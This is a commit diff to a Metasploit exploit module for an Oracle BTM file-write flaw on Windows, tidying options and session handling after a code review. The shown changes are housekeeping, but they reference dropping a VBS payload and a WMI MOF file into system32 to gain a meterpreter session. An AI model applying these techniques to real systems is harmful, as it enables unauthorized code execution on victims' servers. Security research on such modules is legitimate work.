changes according to egypt review

Author: jvazquez-r7

modules/exploits/windows/http/oracle_btm_writetofile.rb

@@ -45,6 +45,10 @@ def initialize(info = {})
 					[ 'BID', '54839' ],
 					[ 'EDB', '20318' ]
 				],
+			'DefaultOptions'  =>
+				{
+					'WfsDelay' => 5
+				},
 			'Payload'        =>
 				{
 					'DisableNops' => true,
@@ -76,13 +80,6 @@ def initialize(info = {})
 				Opt::RPORT(7001),
 				OptInt.new('DEPTH', [false, 'Traversal depth'])
 			], self.class)
-
-		register_advanced_options(
-			[
-				OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
-				OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
-			], self.class)
-
 	end
 
 	def on_new_session(client)
@@ -92,7 +89,7 @@ def on_new_session(client)
 
 		if client.type != "meterpreter"
 			print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
-			print_error("The vbs payload and mof file must be removed manually.")
+			print_error("The vbs payload (C:\\windows\\system32\\#{@var_vbs_name}.vbs) and mof file (C:\\windows\\system32\\wbem\\mof\\good\\#{@var_mof_name}.mof) must be removed manually.")
 			return
 		end
 
@@ -268,24 +265,6 @@ def exploit
 					'method'     => 'GET',
 				}, 5)
 
-
-		else # This shouldn't happen
-			return
-		end
-
-		print_status("Waiting for a payload session (backgrounding)...")
-
-		if not datastore['ExitOnSession'] and not job_id
-			fail_with(Exploit::Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
-		end
-
-		stime = Time.now.to_f
-		print_status "Starting the payload handler..."
-		while(true)
-			break if session_created? and datastore['ExitOnSession']
-			break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
-
-			select(nil,nil,nil,1)
 		end
 
 	end